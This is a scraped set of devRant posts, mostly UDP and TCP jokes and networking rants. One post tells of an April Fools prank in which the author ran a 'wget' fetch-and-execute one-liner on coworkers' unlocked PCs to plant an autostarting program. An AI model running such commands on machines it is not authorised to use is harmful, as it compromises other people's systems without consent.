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I was dressed up as an UDP packet for the Halloween. I don’t think anyone got it, but I couldn’t tell. #humour
Have a great Halloween :)4 -
--- HTTP/3 is coming! And it won't use TCP! ---
A recent announcement reveals that HTTP - the protocol used by browsers to communicate with web servers - will get a major change in version 3!
Before, the HTTP protocols (version 1.0, 1.1 and 2.2) were all layered on top of TCP (Transmission Control Protocol).
TCP provides reliable, ordered, and error-checked delivery of data over an IP network.
It can handle hardware failures, timeouts, etc. and makes sure the data is received in the order it was transmitted in.
Also you can easily detect if any corruption during transmission has occurred.
All these features are necessary for a protocol such as HTTP, but TCP wasn't originally designed for HTTP!
It's a "one-size-fits-all" solution, suitable for *any* application that needs this kind of reliability.
TCP does a lot of round trips between the client and the server to make sure everybody receives their data. Especially if you're using SSL. This results in a high network latency.
So if we had a protocol which is basically designed for HTTP, it could help a lot at fixing all these problems.
This is the idea behind "QUIC", an experimental network protocol, originally created by Google, using UDP.
Now we all know how unreliable UDP is: You don't know if the data you sent was received nor does the receiver know if there is anything missing. Also, data is unordered, so if anything takes longer to send, it will most likely mix up with the other pieces of data. The only good part of UDP is its simplicity.
So why use this crappy thing for such an important protocol as HTTP?
Well, QUIC fixes all these problems UDP has, and provides the reliability of TCP but without introducing lots of round trips and a high latency! (How cool is that?)
The Internet Engineering Task Force (IETF) has been working (or is still working) on a standardized version of QUIC, although it's very different from Google's original proposal.
The IETF also wants to create a version of HTTP that uses QUIC, previously referred to as HTTP-over-QUIC. HTTP-over-QUIC isn't, however, HTTP/2 over QUIC.
It's a new, updated version of HTTP built for QUIC.
Now, the chairman of both the HTTP working group and the QUIC working group for IETF, Mark Nottingham, wanted to rename HTTP-over-QUIC to HTTP/3, and it seems like his proposal got accepted!
So version 3 of HTTP will have QUIC as an essential, integral feature, and we can expect that it no longer uses TCP as its network protocol.
We will see how it turns out in the end, but I'm sure we will have to wait a couple more years for HTTP/3, when it has been thoroughly tested and integrated.
Thank you for reading!27 -
A tcp packet walks in to a bar and says “I want a beer”, barman says “you want a beer?” and tcp packet says “yes, a beer” .
In high society, TCP is more welcome than UDP. At least it knows a proper handshake.
A bunch of TCP packets go into a bar, until it’s overcrowded. The next day, half as many go in.
A bunch of TCP packets walk into a bar. The bartender says, “Hang on just a second, I need to close the window.”
When I try to send SYNs to chicks, I don’t get any ACKs. Just FINs and RSTs.
IP packet with TTL=1 arrives at bar. Bartender: “Sorry, can’t let you leave…and you don’t get any beer either…”
The worst part about token ring jokes is that if someone starts telling one while you are telling yours, all joking stops.
The great thing about TCP jokes is that you always get them.
The problem with TCP jokes is that people keep retelling them slower until you get them.
I would tell some UDP jokes too but I never know if anyone gets them
The best thing about UDP jokes is that I don’t care if you get them or not.
I had a funny UDP joke to tell, but I lost it somewhere...
The sad thing about IPv6 jokes is that almost no one understands them and no one is using them yet.
I tried to come up with an IPv4 joke, but the good ones were all already exhausted.
A DHCP packet walks into a bar and asks for a beer. Bartender says: “here, but I’ll need that back in an hour!
DHCP jokes only work when there is only one person telling them
The worst part of SSH jokes is that, even when they're not funny, you suck it up and just pretend they were anyway.
The problem with token ring jokes is you need to wait your turn to laugh
I’d make a joke about UDP, but I don’t know if anyone’s actually listening…11 -
S: Do you want to hear a UDP joke?
C: Yes I would like to hear a UDP joke.
S: ...
S: ...
C: ...?...?...?
S: Well I don't care if you get it!
User: "Hello, I'd like to hear a torrent joke".
Tracker: "I will refer you to people who can tell you a torrent joke"
Peer1: "Why d"
Peer2: "cken "
Peer3: "road?"
Peer4: "id th"
Peer3: "cross"
Peer1: "e chi"
Peer5: " the"
Peer2: "the o"
Peer4: "To ge"
Peer1: "side."
Peer5: "ther"
Peer2: "t to"4 -
1. There are 10 types of people in the world: those who understand binary, and those who don't.
2. How many programmers does it take to change a light bulb?
None. It's a hardware problem.
3. A SEO couple had twins. For the first time they were happy with duplicate content.
4. Why is it that programmers always confuse Halloween with Christmas?
Because 31 OCT = 25 DEC
5. Why do they call it hyper text?
Too much JAVA.
6. Why was the JavaScript developer sad?
Because he didn't Node how to Express himself
7. In order to understand recursion you must first understand recursion.
8. Why do Java developers wear glasses? Because they can't C#
9. What do you call 8 hobbits?
A hobbyte
10. Why did the developer go broke?
Because he used up all his cache
11. Why did the geek add body { padding-top: 1000px; } to his Facebook profile?
He wanted to keep a low profile.
12. An SEO expert walks into a bar, bars, pub, tavern, public house, Irish pub, drinks, beer, alcohol
13. I would tell you a UDP joke, but you might not get it.
14. 8 bytes walk into a bar, the bartenders asks "What will it be?"
One of them says, "Make us a double."
15. Two bytes meet. The first byte asks, "Are you ill?"
The second byte replies, "No, just feeling a bit off."
16. These two strings walk into a bar and sit down. The bartender says, "So what'll it be?"
The first string says, "I think I'll have a beer quag fulk boorg jdk^CjfdLk jk3s d#f67howe%^U r89nvy~~owmc63^Dz x.xvcu"
"Please excuse my friend," the second string says, "He isn't null-terminated."
17. "Knock, knock. Who's there?"
very long pause...
"Java."
18. If you put a million monkeys on a million keyboards, one of them will eventually write a Java program. The rest of them will write Perl programs.
19. There's a band called 1023MB. They haven't had any gigs yet.
20. There are only two hard things in computer science: cache invalidation, naming things, and off-by-one errors.10 -
Mother of god.
I spent hours and hours last week to try and get OpenVPN working. I mean, OpenVPN is working perfectly fine (on a VirtualBox (nope no vmware for me on servers) machine on a friends' dedicated server) but it wouldn't get through! As in, every forwarding/firewall rule just didn't work.
Was seriously about to lose my shit just now when I suddenly noticed the term 'TCP' in a forwarding rule.
Looked at the .ovpn file: proto udp
I added the exact same rule for UDP as a forward within VirtualBox.
It worked.
Well, there goes quite some hours 😐
And solely because I didn't realise that I setup a forwarding thingy for the wrong protocol.
I feel very stupid now :(5 -
me: do you know what is so great about UDP jokes?
you: No
me: the fact that i don't care if you got them.1 -
Coolest thing i've built solo? I think it's my 3D snake multiplayer game.
It all started with a simple 2D snake game to teach programming basics at community college. Then i added a multiplayer mode based on a simple UDP implementation. Then i wondered how it would look ike in 3D and i had the idea to figure out how to implement a 3D engine by myself and i dove into the maths and wrote a simple 3D engine based on a windows forms picture box.
I showed the game to my colleagues and the loved it and we played it a lot.
So i added special mode boosters, and sound and map events and obervermode and observer polls.... you know it.
Here's a little collage of the journey...
8 -
I had this prepared in advance and executed on April 1st few years ago.
1. I wrote an app in Python that would autostart self & listen to UDP multicast and spam screen with message boxes once a special "magic" UDP broadcast kicks in. The app had minimum dependencies and used native libs for GUI to achieve this.
2. I posted this app source code on sprunge.us and remembered the short URL.
3. Once one of my coworkers left their PC unlocked, I opened their terminal and executed '$(wget -c sprunge.us/ASDF)' and closed the terminal as if nothing happened. I infected almost all machines this way.
4. On the April 1st I get to my office, open the terminal, send a magic UDP broadcast packet anf enjoy the chaos.
Man, that was hilarious.2 -
You know what, I'm out of devRant until Coronavirus is over. I can't take one more repost of the TCP UDP handshake shit.8
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Not a rant: Devrant is the only place where i can write or read programming jokes that do not feel like UDP requests.2
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Lately, I have been seeing more of devJokes than devRant. Even I've got some UDP jokes, but I'm afraid no one might get it.3
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First lecture of computer networks. Let's shove all of these abbreviations with their meaning, and possibly a associated port number in one 1.5 hour lecture:
HTTP, HTTPS, FTP, FTPS, SFTP, TCP, IP, UDP, ISP, DSL, DNS, LAN, WLAN, WDM, P2P, TELNET, PGP, TLS, SSL, SSH, MIME, SMTP, POP3, IMAP, IANA, DHT, RTT, DHCP
I really feel sorry for students who didn't have previous knowledge about this stuff..5 -
Just tech screened a kid for a senior Network automation role, in a specific niche.
He's never automated anything before. Didn't know networking basics, didn't know about the niche...
This guy hasn't heard of unit testing or UDP... good luck out there kid. You've got balls anyway.14 -
Okay, help :(
Trying to get my dns server in php to work from the outside (it's on a vm on one of my dedi's) but it's not working.
- Port forwarding works well: confirmed.
- Connection type: UDP; confirmed.
- I *can* dig from the host (dedicated server) to the vm.
- nmap scans show an open port.
The exact same happens on my local network.
I'm lost.13 -
My friend cracked that UDP joke in an interview!
wham! He's now a networking engineer at Cisco! :D
Moral: Learn all the classic jokes before giving an interview!4 -
Telling a UDP joke to someone who doesn't work in the Information Technology industry won't go over very well...because they probably don't get IT.2
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I was debugging my UDP server and client for 3 hours until I realized our school network has a firewall which blocks my connections.6
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Me to university: You taught us C++, java, DS Algo and PHP only right?
University: Yes
Me: So our college project must be around these only?
University: Yes... But No, here are your only options for our college project
1. MEAN/MERN Stack Website
2. Machine Learning
3. Data Science
4. IOT
5. Android App
Me: WTF?
5 -
- Learning a lot of new shit because I don't want to get stuck. Remember, if you're the smartest person in a room/group, you're in the wrong group.
- Create a server and a client for a variation of MultiCube with up to 10 clients, with communication being done via UDP. Yes, I spend way too much time on my cubes.5 -
"There's more to it"
This is something that has been bugging me for a long time now, so <rant>.
Yesterday in one of my chats in Telegram I had a question from someone wanting to make their laptop completely bulletproof privacy respecting, yada yada.. down to the MAC address being randomized. Now I am a networking guy.. or at least I like to think I am.
So I told him, routers must block any MAC addresses from leaking out. So the MAC address is only relevant inside of the network you're in. IPv6 changes this and there is network discovery involved with fandroids and cryphones where WiFi remains turned on as you leave the house (price of convenience amirite?) - but I'll get back to that later.
Now for a laptop MAC address randomization isn't exactly relevant yet I'd say.. at least in something other than Windows where your privacy is right out the window anyway. MAC randomization while Nadella does the whole assfuck, sign me up! /s
So let's assume Linux. No MAC randomization, not necessary, privacy respecting nonetheless. MAC addresses do not leak outside of the network in traditional IPv4 networking. So what would you be worried about inside the network? A hacker inside Starbucks? This is the question I asked him, and argued that if you don't trust the network (and with a public hotspot I personally don't) you shouldn't connect to it in the first place. And since I recall MAC randomization being discussed on the ISC's dhcp-users mailing list a few months ago (http://isc-dhcp-users.2343191.n4.nabble.com/...), I linked that in as well. These are the hardcore networking guys, on the forum of one of the granddaddies of the internet. They make BIND which pretty much everyone uses. It's the de facto standard DNS server out there.
The reply to all of this was simply to the "don't connect to it if you don't trust it" - I guess that's all the privacy nut could argue with. And here we get to the topic of this rant. The almighty rebuttal "there's more to it than that!1! HTTPS doesn't require trust anymore!1!"
... An encrypted connection to a website meaning that you could connect to just about any hostile network. Are you fucking retarded? Ever heard of SSL stripping? Yeah HSTS solves that but only a handful of websites use it and it doesn't scale up properly, since it's pretty much a hardcoded list in web browsers. And you know what? Yes "there's more to it"! There's more to networking than just web browsing. There's 65 THOUSAND ports available on both TCP and UDP, and there you go narrow your understanding of networking to just 2 of them - 80 and 443. Yes there's a lot more to it. But not exactly the kind of thing you're arguing about.
Enjoy your cheap-ass Xiaomeme phone where the "phone" part means phoning home to China, and raging about the Google apps on there. Then try to solve problems that aren't actually problems and pretty vital network components, just because it's an identifier.
</rant>
P.S. I do care a lot about privacy. My web and mail servers for example do not know where my visitors are coming from. All they see is some reverse proxies that they think is the whole internet. So yes I care about my own and others' privacy. But you know.. I'm old-fashioned. I like to solve problems with actual solutions.11 -
So here I am reinventing the wheel making an HTTP server in C.
Finished implementing HTTP/1.1 and WebSockets support and now I find out the current thingy is HTTP/2.
Well that's fine, I'll add support for that later. In fact I kinda dig it since it uses binary conventions instead of plain text ones.
I dig a little bit and find out there already is an HTTP/3 going around which uses UDP.
Why me.5 -
"SO culture is so mean, they downvote good questions for no reason!"
Meanwhile, most of the downvoted questions in my list:
https://stackoverflow.com/questions...
https://stackoverflow.com/questions...
https://stackoverflow.com/questions...
https://stackoverflow.com/questions...
https://stackoverflow.com/questions...
https://stackoverflow.com/questions...
https://stackoverflow.com/questions...
https://stackoverflow.com/questions...
Translation:
- OP1: "Do my homework for me"
- OP2: "I am too lazy to google this"
- OP3: "Gimme code, here is a shitload of requirements"
- SO: "No."
- OP1/2/3/DevRant: "Oh mah gawd mah question was so gud, SO such toxic, very mean, much wow qq."
Kk.11 -
Teenagers are like UDP packets...
you never really know when you might get one, but when you do, they most certainly dont care. -
My school blocks all UDP traffic going outside their network. 1 - 65535. Which in turn means that I had to switch to TCP for my VPN to connect. Now my VPN is slow as shit. -.-8
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curl http://devrant.io/api/rants/text |grep -vi "hack facebook"|grep -vi "tcp joke"|grep -vi "udp joke"|grep -vi "app idea"|grep -vi "2 types of people"4
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Either CloudFlare itself has decided to join the fun of attacking my DNS server, or somebody is just spoofing their IP in the UDP packets.
Crap, my ipset script is basically useless now, since the real source could be from anywhere :(
Any suggestions on what could I do to make this attack stop? It's not causing any real issues (at least for now), but it's still annoying as hell.
Get fucked, stupid skiddie who keeps manually changing the ip source in his script
10 -
Wireguard reminds me of ssh. You exchange keys and start using the thing.
You protect client by limiting IPs that can access it and you protect server by listing IPs that can connect + iptables for more advanced access rules.
And the whole thing runs on UDP and in kernelspace, so it's fast AF
iperf3 tests compared to OpenVPN look amazing: x20 times faster than OpenVPN :D
https://reddit.com/r/linux/...
I freaking love Linux! -
Bash
Has pretty much everything you may need, except for a TCP/UDP server functionality.
I mean, if it has a built-in TCP client -- why not create simplistic TCP server?
WHY???21 -
What do you think about HTTP/3, QUIC, WebTransport?
https://web.dev/webtransport/ (It is still a *draft*, but google is already implementing it and stuff)
Idk it feels weird for me that HTTP will be served over UDP/QUIC10 -
Translation:
"According to Xiaomi, the U-Disk (Xiaomi's new USB drive) has UDP technology that prevents damage by splashing and dust."
HOW A TRANSPORT PROTOCOL CAN'T PREVENT THAT?
What's next? "The new notebook has HTTP technology that makes it waterproof."
7 -
For all the hate that Java gets, this *not rant* is to appreciate the Spring Boot/Cloud & Netty for without them I would not be half as productive as I am at my job.
Just to highlight a few of these life savers:
- Spring security: many features but I will just mention robust authorization out of the box
- Netflix Feign & Hystrix: easy circuit breaking & fallback pattern.
- Spring Data: consistent data access patterns & out of the box functionality regardless of the data source: eg relational & document dbs, redis etc with managed offerings integrations as well. The abstraction here is something to marvel at.
- Spring Boot Actuator: Out of the box health checks that check all integrations: Db, Redis, Mail,Disk, RabbitMQ etc which are crucial for Kubernetes readiness/liveness health checks.
- Spring Cloud Stream: Another abstraction for the messaging layer that decouples application logic from the binder ie could be kafka, rabbitmq etc
- SpringFox Swagger - Fantastic swagger documentation integration that allows always up to date API docs via annotations that can be converted to a swagger.yml if need be.
- Last but not least - Netty: Implementing secure non-blocking network applications is not trivial. This framework has made it easier for us to implement a protocol server on top of UDP using Java & all the support that comes with Spring.
For these & many more am grateful for Java & the big big community of devs that love & support it. -
Casting Netflix on the latest Chromecast devices forces you to re-log in to your account on the TV every time you click that Cast button on your mobile. A minor problem for people with a small family and no friends. A big pain for those who cast from different accounts.
And a massive problem for me and one of our hardware solutions which remotely streams mutliple chromecast devices via a UDP directly in to different rooms in a hotel.
F*ck you Google TV, you insistent piece of crap, I'm going back to Chromecast Ultra.3 -
It must be good to at least know computer networking?! I remember nothing about these TCP, UDP, whatever the fudge protocol shite. I don't remember these megabit and megabyte things. All I do is code from one end to another. Anyone else watched Eli The Computer Guy's series?2
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Had a task of service discovery, went through following phases:
1. UDP broadcast
2. Wait why not Bonjour?
3. JmDNS for desktop works great
4. Android NSD on Lollipop, this is easy
5. Kitkat WTF..!! Why did you put it there when it's so buggy.
6. Replaced Android NSD with JmDNS and it's great
7. Network switching on Android... done
8. Wait how are others doing it.. JmmDNS.. awesome.. fuck not working...
9. Read mDNSJava is much faster... replace JmDNS.. why haven't they uploaded parent pom on repo
10. mDNSJava freezing my Android device... revert to JmDNS
11. Let's see if it works with Wifi Direct.... Come on why aren't you working...
12. UDP broadcast it is 😢2 -
So I was talking microservices architecture with some lead techs.
And I started asking how did they combine/connect their microservices.
And despite having a lot, they use HTTP as the main transporter.
So the put some API-Gateway, all inside traffic has to go through it, to connect to the final client.
And I said that I do meshing microservices, and we use Nats as man transporter, so our messages go through UDP and not TCP.
And they freaked out. Saying UDP is too low level and not useful...
My question: if you do microservices oriented architecture, and not SOA, do you use HTTP? Did you use it simply because "it works"?14 -
IDK man, it took me a while to finally learn iptables and now switch to firewalld? Oh come on. It's not that I'm against learning new things, no. It's just that firewalld looks a bit.. crappy. If I get a server provisioned and run
firewall-cmd --add-port=53/udp --permanent
firewall-cmd --reload
and I get my ssh connection killed that's no good news, no sir! I mean come on, how can I rely on a tool this critical when a single line in its config file can make my machine inaccessible. Even better -- this config file is managed by that tool entirely!!! My commands passed all the tool's checks and they worked, but when I wanted to make those commands permanent and reload state from the config -- the tool starts spitting bile and blood and says "fuck off, it's my server now!"
IDK man.. It's just way too fishy. The good ol' iptables works very well and I'm kicking its retard younger brother out of the server.
shoosh you dirty pig firewalld, shoosh!6 -
Today, I want to send a POST request from Siemens PLC as a UDP datagram to an apache webserver running PHP and Laravel. It's definitely something wrong with me. It's like 98% failure. :D3
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I don't know if many rememeber me but at one point this year I had to turn UDP basically into tcp, handshake, packet ordering, resend on failed, ACK response, and 4k bit aes encryption. Fucking done, it works, signed the last version and pushed to client, client loved it, just what he wanted, paid out contract then turned around and asked me to setup his server for one day with no further expectations and an extra 250, said sure don't mind, as I am setting shit up I decided to test if his business isp really blocks tcp, guess what? NOPE IT WORKS JUSY FUXKIJG FINE AND I COILD HAVE KUST RIPPED A PREMADE CORE AND GOT PAID AND SET IT UP AND HE WOULD NEVER know, but maybe theirs some weird circumstances that require the core to be made only with udp, so after I was done I asked why only udp if his line allowed tcp? Requirements maybe? NOPE HE JUST DOSENT UNDERSTAND TCP FUUUUUUUQQQQHDJDIOAJEJDICJDNXIKZMZJDJCU2
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I have to take UDP and add packet ordering, filter in, and resend and some form of handshake, because client couldn't figure out how to change the port from UDP to TCP and refused any help1
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Responding to a numb sales guys joke with "do you know the best about UDP jokes? - I don't care if you don't get it! " ...turnin around left the hallway... Unbeatable
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this is a repost organization post. each time you are going to post a classical joke, please find it from items below, and write as comment, the number of the repost. and people will give you ++'s to your comments as if you actually reposted the post. also, feel free to make additions to the list. syntax is:
"(n): [repost context]" for a new item (please do not mess with the order)
"-- [n]: [personal comment]" for simulating the repost.
here we go:
(0): the comic strip about rescuing princesses in different languages.
(1): in case of fire git commit, git push, leave the building.
(2): wanna hear a udp joke? i don't care if you get it.
(3): that joke about java devs wearing glasses because they can't c#.
--------------
An example repost:
-- 0: omg princess lol :)))2 -
Ugh... I don't like how TCP is a stream protocol and how UDP is unreliable and unordered.
I want a semi-reliable, ordered, message protocol dang it!13 -
Follow-up of https://devrant.com/rants/2014517/...
It took me two days to finally get my discord bot to a specific voice channel in my guild/server. It turns out that there are two gateways and one https gateway. The https gateway, the main gateway with a websocket connection and a voice gateway (with udp I guess).
Guess that I will be able to let my bot speak at the end of this week.
The documentation of the Discord API is not so good. It contains examples that won't work even if correctly modified. That is why I joined the Discord API guild/server yesterday and they helped me find the solution to the "I get no response from the voice gateway".
It is only getting more complicated, but I love it. Maybe I love hurting myself lol.4 -
A: Do you want to hear a joke about TCP/IP?
B: Yes, I would like to hear a joke about TCP/IP.
A: Are you ready to hear the joke about TCP/IP?
B: I am ready to head the joke about TCP/IP.
A: Here is a joke about TCP/IP.
A: Did you receive the joke about TCP/IP?
B: I have received the joke about TCP/IP.1 -
I am working on an embedded system, a microcontroller-based design. The system has an Ethernet port. I am using NetX framework in the microcontroller firmware.
The DHCP Client is executed properly, an IP address is assigned correctly when connected to a router. I connect a laptop to the router using a LAN cable. Then TCP sockets behave the way they should, UDP broadcast behave the way they should. The only issue is, when I connect a Laptop over wireless to the same router UDP broadcast are received on application on Laptop, but data sent is not received on the embedded device.
Any idea why?
Platform:
Laptop is Windows
Embedded Device: Renesas S7G2, NetX framework.4 -
Fuck you sophos. Fuck you hard. I moved a server to a new datacenter and it worked like a charm. Thank you windows and hyper-v. BUT! BUUUUUUT my fucking sophos worked like shit. Blocking everything by default? Yeah fuck you. Reconfigured everything. Still blocked and why? Forward “all“ doesnt mean forward all. Had to apply rules from port tcp 1 - 65335 and udp 1-65335. Nice you piece of fuck.2
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